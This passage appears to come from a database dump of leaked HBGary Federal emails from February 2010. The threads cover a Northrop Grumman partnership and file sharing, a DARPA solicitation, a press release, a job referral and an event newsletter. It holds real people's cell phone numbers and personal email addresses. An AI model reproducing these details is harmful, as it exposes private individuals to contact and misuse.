L.\r\nSent: Thursday, February 11, 2010 11:01 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: RE: IG files\r\n\r\n\r\n\r\n &lt;&lt;Cyber ApplicationsR1.ppt&gt;&gt;  &lt;&lt;productMainfoldFusion.ppt&gt;&gt; \r\n\r\n &lt;&lt;IG sans equations.ppt&gt;&gt;  &lt;&lt;PPF.ppt&gt;&gt; \r\n\r\nBrian,\r\n\r\nThe attached files are clean and can be provided to HBGary under the PIEA.\r\n\r\n______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax:&nbsp;410.981.5803\r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, February 11, 2010 9:57 AM\r\nTo: Akey, Mark L.\r\nSubject: FW: IG files\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, January 21, 2010 2:35 PM\r\nTo: Davis, Roger (Xetron)\r\nSubject: IG files\r\n\r\n\r\n\r\n\r\n&nbsp;&lt;&lt; File: What is Semantic Data Alignment v6.pptx &gt;&gt;&nbsp; &lt;&lt; File: Cyber ApplicationsR1.ppt &gt;&gt;&nbsp; &lt;&lt; File: Cyber ApplicationsR1.pptx &gt;&gt; \r\n\r\n&nbsp;&lt;&lt; File: productMainfoldFusion.ppt &gt;&gt;&nbsp; &lt;&lt; File: scherzo.tar.gz &gt;&gt;&nbsp; &lt;&lt; File: IG.ppt &gt;&gt;&nbsp; &lt;&lt; File: IG.pptx &gt;&gt;&nbsp; &lt;&lt; File: PPF.ppt &gt;&gt; \r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3543\r\n\r\n\r\n\r\n\r\n',10616,'aaron_hbgary_com/10616.html'),(2492,'2010-02-11','\"Jeff m\" <jeffmac710@gmail.com>','/aaron@hbgary.com/new/1297001166.M420581P3547Q2492.eml','aaron@hbgary.com','Re: DARPA BAA','Is there supposed to be an attachment?  It sounds interesting enough but without a description of the problem space I can&#39;t really comment on the ideal technologies to solve this problem.\r\n \r\njeff\r\nOn Thu, Feb 11, 2010 at 9:09 AM, Aaron Barr &lt;adbarr@me.com&gt; wrote:\r\n\r\nwrong address\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: February 11, 2010 11:09:10 AM EST\r\n\r\nTo: Mark Trynor &lt;mark.trynor@gmail.com&gt;, Jeff McCartney &lt;mccartney7595@adelphia.net&gt;\r\n\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\nSubject: DARPA BAA\r\nhey guys,I would love to get your thoughts on the technical areas in the BAA.Jeff, the 2nd task seems like it has a place for a belief network function to deliver probabilities based on association of information, weighted factors based on reputation values, etc.\r\n1st task seems like a combination of attributes assigned to digital artifacts first whether or not lineage can be determined.  To determine lineage I am thinking about an appliance on the perimeter as well as host agents that feed trait data on digital artifacts as they are created, used, transmitted, deleted, etc.\r\nThe award for this BAA is in June, if it doesn&#39;t happen for some other contract before, if we win this one we would like to bring you both on for it.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',7259,'aaron_hbgary_com/7259.html'),(2493,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001169.M923424P3547Q2493.eml','\"Aaron Barr\" <aaron@hbgary.com>','Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht',' >  \r\nThe message is ready to be sent with the following file or link\r\nattachments:\r\n\r\nIntegrated Cyber Defense & Support Technologies - Federal Business\r\nOpportunities Opportunities.mht\r\n\r\n\r\nNote: To protect against computer viruses, e-mail programs may prevent\r\nsending or receiving certain types of file attachments.  Check your\r\ne-mail security settings to determine how attachments are handled.\r\n',6350,'aaron_hbgary_com/6350.html'),(2494,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001170.M181945P3547Q2494.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: IG files','Brian,lets talk more... &nbsp;We use to fund vendors/subs to come in and develop capability in our IRADs in ISD. &nbsp;Given I developed this idea and brought it to you guys and continue to help develop the idea, make is stronger, and work to help us both grow in the defensive market, why is it so tough to get some funding to help with the development? &nbsp;And you know me its not because I am greedy. &nbsp;I just need to relieve some pressure and this will provide a long term capability, as long as I am around.Do you know what Bill/Martin envision as far as use of the integrated capability. &nbsp;How are we going to continue to go to market together? &nbsp;Are we going to continue to go to market together? &nbsp;What does the partnership look like in their eyes going forward?AaronOn Feb 11, 2010, at 11:20 AM, Masterson, Brian (Xetron) wrote:\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 _____________________________________________\r\nFrom: Akey, Mark L.\r\nSent: Thursday, February 11, 2010 11:01 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: RE: IG files &lt;&lt;Cyber ApplicationsR1.ppt&gt;&gt;  &lt;&lt;productMainfoldFusion.ppt&gt;&gt;  &lt;&lt;IG sans equations.ppt&gt;&gt;  &lt;&lt;PPF.ppt&gt;&gt; Brian,The attached files are clean and can be provided to HBGary under the PIEA.______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax:&nbsp;410.981.5803\r\nmark.akey@ngc.com_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, February 11, 2010 9:57 AM\r\nTo: Akey, Mark L.\r\nSubject: FW: IG filesBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 _____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, January 21, 2010 2:35 PM\r\nTo: Davis, Roger (Xetron)\r\nSubject: IG files\r\n&nbsp;&lt;&lt; File: What is Semantic Data Alignment v6.pptx &gt;&gt;&nbsp; &lt;&lt; File: Cyber ApplicationsR1.ppt &gt;&gt;&nbsp; &lt;&lt; File: Cyber ApplicationsR1.pptx &gt;&gt; &nbsp;&lt;&lt; File: productMainfoldFusion.ppt &gt;&gt;&nbsp; &lt;&lt; File: scherzo.tar.gz &gt;&gt;&nbsp; &lt;&lt; File: IG.ppt &gt;&gt;&nbsp; &lt;&lt; File: IG.pptx &gt;&gt;&nbsp; &lt;&lt; File: PPF.ppt &gt;&gt; Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3543\r\n\r\n\r\n&lt;Cyber ApplicationsR1.ppt&gt;&lt;productMainfoldFusion.ppt&gt;&lt;IG sans equations.ppt&gt;&lt;PPF.ppt&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14306,'aaron_hbgary_com/14306.html'),(2495,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001170.M395652P3547Q2495.eml','\"Jeff m\" <jeffmac710@gmail.com>,\"Mark Trynor\" <mark.trynor@gmail.com>','Re: DARPA BAA','https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0The file is too big to send...above is the link.AaronOn Feb 11, 2010, at 11:22 AM, Jeff m wrote:Is there supposed to be an attachment?&nbsp; It sounds interesting enough but without a description of the problem space I can\'t really comment on the ideal technologies to solve this problem.\r\n&nbsp;\r\njeff\r\nOn Thu, Feb 11, 2010 at 9:09 AM, Aaron Barr &lt;adbarr@me.com&gt; wrote:\r\n\r\nwrong address\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: February 11, 2010 11:09:10 AM EST\r\n\r\nTo: Mark Trynor &lt;mark.trynor@gmail.com&gt;, Jeff McCartney &lt;mccartney7595@adelphia.net&gt;\r\n\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\nSubject: DARPA BAA\r\nhey guys,I would love to get your thoughts on the technical areas in the BAA.Jeff, the 2nd task seems like it has a place for a belief network function to deliver probabilities based on association of information, weighted factors based on reputation values, etc.\r\n1st task seems like a combination of attributes assigned to digital artifacts first whether or not lineage can be determined. &nbsp;To determine lineage I am thinking about an appliance on the perimeter as well as host agents that feed trait data on digital artifacts as they are created, used, transmitted, deleted, etc.\r\nThe award for this BAA is in June, if it doesn\'t happen for some other contract before, if we win this one we would like to bring you both on for it.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9659,'aaron_hbgary_com/9659.html'),(2496,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001170.M771581P3547Q2496.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: IG files','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTalking to bill right now.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 11, 2010 12:46 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: IG files\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBrian,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nlets talk more... &nbsp;We use to fund vendors/subs to come\r\nin and develop capability in our IRADs in ISD. &nbsp;Given I developed this\r\nidea and brought it to you guys and continue to help develop the idea, make is\r\nstronger, and work to help us both grow in the defensive market, why is it so\r\ntough to get some funding to help with the development? &nbsp;And you know me\r\nits not because I am greedy. &nbsp;I just need to relieve some pressure and\r\nthis will provide a long term capability, as long as I am around.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you know what Bill/Martin envision as far as use of the\r\nintegrated capability. &nbsp;How are we going to continue to go to market\r\ntogether? &nbsp;Are we going to continue to go to market together? &nbsp;What\r\ndoes the partnership look like in their eyes going forward?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 11, 2010, at 11:20 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Akey, Mark L.\r\nSent: Thursday, February 11, 2010 11:01 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: RE: IG files\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;&lt;Cyber\r\nApplicationsR1.ppt&gt;&gt; &lt;&lt;productMainfoldFusion.ppt&gt;&gt; \r\n\r\n&lt;&lt;IG\r\nsans equations.ppt&gt;&gt; &lt;&lt;PPF.ppt&gt;&gt; \r\n\r\nBrian,\r\n\r\nThe attached\r\nfiles are clean and can be provided to HBGary under the PIEA.\r\n\r\n______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax:&nbsp;410.981.5803\r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, February 11, 2010 9:57 AM\r\nTo: Akey, Mark L.\r\nSubject: FW: IG files\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, January 21, 2010 2:35 PM\r\nTo: Davis, Roger (Xetron)\r\nSubject: IG files\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;&lt;&lt; File: What\r\nis Semantic Data Alignment v6.pptx &gt;&gt;&nbsp; &lt;&lt; File: Cyber\r\nApplicationsR1.ppt &gt;&gt;&nbsp; &lt;&lt; File: Cyber ApplicationsR1.pptx\r\n&gt;&gt; \r\n\r\n&nbsp;&lt;&lt; File:\r\nproductMainfoldFusion.ppt &gt;&gt;&nbsp; &lt;&lt; File: scherzo.tar.gz\r\n&gt;&gt;&nbsp; &lt;&lt; File: IG.ppt &gt;&gt;&nbsp; &lt;&lt; File: IG.pptx\r\n&gt;&gt;&nbsp; &lt;&lt; File: PPF.ppt &gt;&gt; \r\n\r\nBrian\r\nMasterson\r\n\r\nNorthrop\r\nGrumman/Xetron\r\n\r\nChief\r\nTechnology Officer, IO Programs\r\n\r\nPh:\r\n513-881-3591\r\n\r\nCell:\r\n513-706-4848\r\n\r\nFax:\r\n513-881-3543\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Cyber\r\nApplicationsR1.ppt&gt;&lt;productMainfoldFusion.ppt&gt;&lt;IG sans\r\nequations.ppt&gt;&lt;PPF.ppt&gt;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12092,'aaron_hbgary_com/12092.html'),(2497,'2010-02-11','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001170.M981621P3547Q2497.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Press Release','Okay, great -- will draft a release today and send over. K--- On Thu, 2/11/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Press ReleaseTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Penny Leavy\" &lt;penny@hbgary.com&gt;, \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Thursday, February 11, 2010, 6:37 AM\r\nKaren,It will take a while to get this through the NG hoops, but having something generated will help.Can you generate a press release on the following:HBGary Federal partners with Northrop Grumman to develop the next generation in threat intelligence capabilities.I will work on a quote.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n      ',16316,'aaron_hbgary_com/16316.html'),(2498,'2010-02-11','\"Sinan Eren\" <sinan@pretoinc.com>','/aaron@hbgary.com/new/1297001171.M180717P3547Q2498.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Re: friend referral','Hi Penny,\r\nAaron,\r\n\r\nThank you for your interest, I will go ahead and do the introductions in\r\na separate email. Yes, I think he is willing to move if it comes to that.\r\n\r\ncheers,\r\n-sinan\r\n\r\nPenny Leavy wrote:\r\n> Hi Sinan,\r\n> \r\n> We might be interested, would he be willing to move?  I\'m also copying\r\n> Aaron Barr the CEO of HBGary Federal as well, he might have a need\r\n> \r\n> On Wed, Feb 10, 2010 at 10:37 AM, Sinan Eren  wrote:\r\n>> Hi Penny,\r\n>>\r\n>> I remember sometime ago, you mentioning a RE/malware analyst position at\r\n>> HBGary. I have very close friend in mind, that is looking for such a\r\n>> position. He is top notch reverse engineer and previously worked with\r\n>> Zynamics on their binnavi product line. There is one catch, he is from\r\n>> Brazil and is looking for remote/consulting opportunities at the moment\r\n>> but he might be open for relocation later on. What do you think ? Any\r\n>> such open positions that I can formally refer him ?\r\n>>\r\n>> cheers,\r\n>> --\r\n>> Sinan Eren\r\n>> (+1) 650-283-2559\r\n>>\r\n> \r\n> \r\n> \r\n\r\n\r\n-- \r\nSinan Eren\r\n(+1) 650-283-2559\r\n',13276,'aaron_hbgary_com/13276.html'),(2499,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001171.M384612P3547Q2499.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: IG files','Another engineering capability is we can use some of those funds to use HBGary engineers as well.  That money will come through federal and still help my books.Aaron\r\nFrom my iPhoneOn Feb 11, 2010, at 12:52 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nTalking to bill right now.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 11, 2010 12:46 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: IG files\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBrian,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nlets talk more...  We use to fund vendors/subs to come\r\nin and develop capability in our IRADs in ISD.  Given I developed this\r\nidea and brought it to you guys and continue to help develop the idea, make is\r\nstronger, and work to help us both grow in the defensive market, why is it so\r\ntough to get some funding to help with the development?  And you know me\r\nits not because I am greedy.  I just need to relieve some pressure and\r\nthis will provide a long term capability, as long as I am around.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDo you know what Bill/Martin envision as far as use of the\r\nintegrated capability.  How are we going to continue to go to market\r\ntogether?  Are we going to continue to go to market together?  What\r\ndoes the partnership look like in their eyes going forward?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 11, 2010, at 11:20 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Akey, Mark L.\r\nSent: Thursday, February 11, 2010 11:01 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: RE: IG files\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n&lt;&lt;Cyber\r\nApplicationsR1.ppt&gt;&gt; &lt;&lt;productMainfoldFusion.ppt&gt;&gt; \r\n\r\n&lt;&lt;IG\r\nsans equations.ppt&gt;&gt; &lt;&lt;PPF.ppt&gt;&gt; \r\n\r\nBrian,\r\n\r\nThe attached\r\nfiles are clean and can be provided to HBGary under the PIEA.\r\n\r\n______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax: 410.981.5803\r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, February 11, 2010 9:57 AM\r\nTo: Akey, Mark L.\r\nSubject: FW: IG files\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, January 21, 2010 2:35 PM\r\nTo: Davis, Roger (Xetron)\r\nSubject: IG files\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n &lt;&lt; File: What\r\nis Semantic Data Alignment v6.pptx &gt;&gt;  &lt;&lt; File: Cyber\r\nApplicationsR1.ppt &gt;&gt;  &lt;&lt; File: Cyber ApplicationsR1.pptx\r\n&gt;&gt; \r\n\r\n &lt;&lt; File:\r\nproductMainfoldFusion.ppt &gt;&gt;  &lt;&lt; File: scherzo.tar.gz\r\n&gt;&gt;  &lt;&lt; File: IG.ppt &gt;&gt;  &lt;&lt; File: IG.pptx\r\n&gt;&gt;  &lt;&lt; File: PPF.ppt &gt;&gt; \r\n\r\nBrian\r\nMasterson\r\n\r\nNorthrop\r\nGrumman/Xetron\r\n\r\nChief\r\nTechnology Officer, IO Programs\r\n\r\nPh:\r\n513-881-3591\r\n\r\nCell:\r\n513-706-4848\r\n\r\nFax:\r\n513-881-3543\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;Cyber\r\nApplicationsR1.ppt&gt;&lt;productMainfoldFusion.ppt&gt;&lt;IG sans\r\nequations.ppt&gt;&lt;PPF.ppt&gt;\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16215,'aaron_hbgary_com/16215.html'),(2500,'2010-02-11','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001171.M688550P3547Q2500.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: AFCEA Bethesda February 26 Breakfast MOVED to RITZ-CARLTON, TYSONS CORNER – Register Today','fyiBegin forwarded message:From: AFCEA Bethesda Registrar &lt;registrar@bethesda-afcea.org&gt;Date: February 11, 2010 1:30:34 PM ESTTo: John Farrell &lt;john@endgames.us&gt;Subject: AFCEA Bethesda February 26 Breakfast MOVED to RITZ-CARLTON, TYSONS CORNER – Register TodayReply-To: \"registrar@bethesda-afcea.org\" &lt;registrar@bethesda-afcea.org&gt;Jump to:February Breakfast: Federal Budget PreviewHIMSS 2010 Reception Virtualization SymposiumHealth IT Day 2010Charity Ball to Benefit&nbsp;The Children\'s Inn at NIH6th Annual Charity Golf TournamentYAFCEA Presents: Leveraging Your Personal NetworkAFCEA Bethesda Chapter Monthly Breakfast Series PresentsFederal Budget Preview&nbsp;Date:&nbsp;February 26, 2010&nbsp;Program:&nbsp;7:30&nbsp;AM - 9:30 AMRegistration:&nbsp;6:30 AM - 7:30 AMLocation:&nbsp;Ritz-CarltonAddress:&nbsp;1700 Tysons Boulevard, McLean, VA 22102Due to overwhelming response and interest in AFCEA Bethesda’s February 26, 2010 breakfast to review the 2011 Federal IT budget priorities, the Chapter has moved the location to the Ritz-Carlton in Tyson’s Corner.Speakers include: Roger Baker, Assistant Secretary for Information Technology &amp; Chief Information Officer, Department of Veterans AffairsVance Hitch, Chief Information Officer, Department of JusticeDave Wennergren, Deputy Assistant Secretary of Defense for Information Management, Integration and Technology &amp; Deputy Chief Information Officer, Department of Defense Seating is limited. To register or more information on the program, please visit www.bethesda-afcea.org. Large and small business table sponsorships are still available. To reserve your company’s today, please contact at Shannon.d.hagy@saic.com.&nbsp;&nbsp;&nbsp;AFCEA Bethesda Chapter HostsHIMSS 2010 Reception to Benefit The Children’s Inn at NIH&nbsp;Date:&nbsp;February 28, 2010&nbsp;Tours of the Aquarium:&nbsp;5:00 PM&nbsp;- 7:00 PMReception:&nbsp;6:00 PM - 9:00 PMLocation:&nbsp; The Georgia Aquarium – Pacific RoomAddress:&nbsp;Atlanta, GAHealthcare Information and Management Systems Society (HIMSS) 2010 is the largest technology event focused on the Healthcare IT community. To kick-off the conference, AFCEA Bethesda will host a&nbsp;reception to benefit the Children’s Inn at NIH on Sunday, February 28, 2010 at the Georgia Aquarium in Atlanta, GA. AFCEA Bethesda is offering a $5,000 HIMSS 2010 Reception Sponsorship to help raise funds for this worthy cause. It is a great opportunity to meet top federal (and other public sector) decision makers in healthcare. Sponsors will&nbsp;have their logo displayed on all event signage, invitations, and promotions. AFCEA Bethesda will provide tables for sponsor collateral and whitepapers. For additional information and/or to book your sponsorship, please contact Marci Neill&nbsp;at 703-673-7829 or maneil@microsoft.com. For more information on HIMSS 2010, please visit www.himssconference.org. &nbsp;AFCEA Bethesda Chapter PresentsVirtualization Symposium - From the Data Center to the Desktop&nbsp;Date:&nbsp;March 11, 2010&nbsp;Program:&nbsp;7:30&nbsp;AM - 11:30 AMRegistration:&nbsp;6:30 AM - 7:30 AMLocation:&nbsp;JW MarriottAddress:&nbsp;1331 Pennsylvania Avenue NW, Washington, DCThe federal government is increasingly turning to virtualization to provide measurable savings throughout the enterprise. AFCEA Bethesda invites you to a half-day technology symposium that will bring together more than 150 senior government executives and IT professionals from federal civilian agencies, the Department of Defense and industry to look at trends, challenges and best practices involved in server and desktop virtualization.&nbsp;Please join our panelists and learn:How to optimize your agency\'s data center through server consolidationPower and cooling benefits to reduce an agency ’s carbon footprintThe path from virtualization to cloud computing – moving beyond the physical to a shared-service environmentHow to create an effective telework environment with a virtual desktop infrastructureHow to design and deploy a disaster recovery solution that overcomes the limitations of physical infrastructure&nbsp;How to move computing from the desktop to the data center to enhance your agency\'s security&nbsp;Speakers include:Jack Nichols, Director, Enterprise Operations, Office of the Chief Administrator, U.S. House of RepresentativesSpace is limited, so register today at www.bethesda-afcea.org/virtualization.Also, if your company is interested in showcasing its virtualization products or services, please contact Harold Youra, VP of Special Programs, at&nbsp;harold.youra@alliancesol.net or Aileen Bloom at aileen_bloom@hotmail.com.&nbsp;AFCEA Bethesda Chapter PresentsHealth IT Day 2010&nbsp;Date:&nbsp;April 6, 2010&nbsp;Program:&nbsp;8:00&nbsp;AM - 5:00 PMRegistration:&nbsp;6:45 AM - 8:00 AMLocation:&nbsp;Bethesda North Marriott &amp; Conference CenterAddress:&nbsp;5701 Marinelli Road, North Bethesda, MDAFCEA Bethesda’s Health IT Day 2010 will bring together more than 600 senior government leaders and IT professionals from health agencies across government, such as the Department of Health and Human Services, Office of the National Coordinator for Health Information Technology, the Department of Veterans Affairs and the Department of Defense. The conference goals are to address: IT implications and opportunities of the the HITECH Act and “meaningful use;” VA and DoD virtual lifetime electronic records and further integration with the National Health Information Network; set-aside opportunities for small businesses; and the American Recovery and Reinvestment Act and future health IT investments. Speakers include: Elmira Benson, Deputy Director, Procurement and Grants Office, Centers for Disease Control and PreventionRADM Theresa Cullen, Assistant Surgeon General and Chief Information Officer, Indian Health Service Alice Roache, Small Business Specialist, Centers for Medicare and Medicaid Services, Department of Health and Human ServicesDr. Douglas Rosendale, Office of Health Information, Joint Interoperability Ventures, Veterans Health AdministrationJohn Teeter, Deputy Chief Information Officer, Department of Health and Human ServicesFor more information on&nbsp;Health IT Day 2010&nbsp;speakers and sponsor opportunities, please visit www.bethesda-afcea.org/HealthITDay.&nbsp;&nbsp;&nbsp;AFCEA Bethesda Chapter Presents&nbsp;Annual Charity Ball to BenefitThe Children\'s Inn at NIHDate:&nbsp;April 24, 2010&nbsp;Benefit:&nbsp;6:30 PM - MidnightLocation:&nbsp;JW Marriott HotelAddress:&nbsp;Washington, DCOnly&nbsp;a few&nbsp;tables remain for the 12th Annual Charity Ball to benefit The Children’s Inn at NIH&nbsp;to be held on April 24, 2010 at the newly renovated JW Marriott Hotel in Washington, DC.&nbsp;The Children’s Inn at NIH&nbsp;offers a \"place like home\" for seriously ill children and their families who are visiting NIH to undergo treatment for their life-threatening diseases. Because it does not receive any appropriated funds, it relies totally on the 